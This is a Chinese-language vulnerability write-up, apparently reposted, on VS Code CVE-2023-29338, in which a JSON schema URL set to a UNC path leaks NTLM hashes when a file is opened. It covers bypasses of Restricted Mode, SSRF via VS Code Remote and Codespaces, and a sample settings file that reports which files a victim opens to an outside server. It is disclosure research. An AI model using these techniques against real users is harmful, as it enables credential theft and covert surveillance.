VSCode CVE-2023-29338
2023-7-6 15:49:46 Author: govuln.com(查看原文) 阅读量:46 收藏

VSCode CVE-2023-29338

漏洞概述

VS Code Information Disclosure Vulnerability

https://github.com/microsoft/vscode/security/advisories/GHSA-mmfh-4pv3-39hr

VS Code打开包含UNC路径数据的文件时,会导致NTLM hashes泄露

注意不是打开UNC路径的文件,只是文件中包含UNC路径

漏洞发现

在VS Code中可以自定义JSON Schema

The association of a JSON file to a schema can be done either in the JSON file itself using the $schema attribute, or in the User or Workspace settings (File > Preferences > Settings) under the property json.schemas.
https://code.visualstudio.com/docs/languages/json#_json-schemas-and-settings

可以在设置中配置,类似这样

1
2
3
4
5
6
7
8
9
10
{
"json.schemas": [
{
"fileMatch": [
".babelrc.json"
],
"url": "https://json.schemastore.org/babelrc.json"
},
]
}

或者在文件中配置

1
2
3
4
{
"$schema": "https://json.schemastore.org/babelrc.json",
"somekey": "abcd"
}

这里就引入问题了,schema文件是由VS Code远程加载并解析的

然而这个远程地址不仅仅支持http,在Windows中还可以是一个UNC路径

最终实现打开一个JSON文件,就能收到NTLM hash

后面也去看了VS Code代码,支持文件路径,file协议之类的,其他的schema就不支持了,不然就是另一个故事

Bypass

  • Restricted Mode

https://code.visualstudio.com/docs/editor/workspace-trust

VS Code为了打开不受信文件做保护功能,这个模式下会禁用了一些功能和配置项,避免在看代码的时候被RCE

但并没有控制JSON Schema下载行为,所以这里提到的所有利用都可以在Restricted Mode中复现,工作区信任并不能缓解利用

  • json.schemaDownload.enable

在设置中这个配置项可以控制是否从远程下载,默认开启

但只能控制http/https,对于UNC路径并没有用

CSRF/SSRF

其实最早这个洞我是作为CSRF来对待的,在测试VS Code的各种环境后,发现这个漏洞非常通用,除了常见的桌面端,还有VSCode Web和VSCode Remote都可以利用

桌面端不必多说,直接从本机发起请求

VSCode Web是从浏览器发出,发一个fetch的跨域请求,纯CSRF,总体感觉价值不大,就没有细看了

VSCode Remote是从远程机器发出,这个就比较有趣了,有点SSRF的意思

值得一提的是GitHub Codespaces也是用的VSCode Remote,然后机器基本都在Azure上,云SSRF的想象空间就比较大了

有趣的利用

非JSON文件

前面提到这个依赖打开JSON文件,触发JSON Schema的功能

利用Automatic language detection功能,自动检测文本语言,开启相关功能

https://code.visualstudio.com/updates/v1_60#_automatic-language-detection

这样无后缀的文件也能触发,只要内容是JSON就行

另外在YAML中也可以使用JSON Schema,所以也能用

文件探针

合理的设置fileMatchurl能够实现监控受害者打开文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"json.schemas": [
{
"fileMatch": [
"file1.json"
],
"url": "http://server/file1"
},
{
"fileMatch": [
"file2.json"
],
"url": "http://server/file2"
},
{
"fileMatch": [
"file3"
],
"url": "http://server/file3"
}
]
}

Fix

fix commit应该是在底层加了UNC路径的访问控制,通过白名单配置

Timeline

  • 2023.01.31 报告给微软
  • 2023.02.11 开始修复
  • 2023.05.15 修复完成

文章来源: https://govuln.com/news/url/098n
如有侵权请联系:admin#unsafe.sh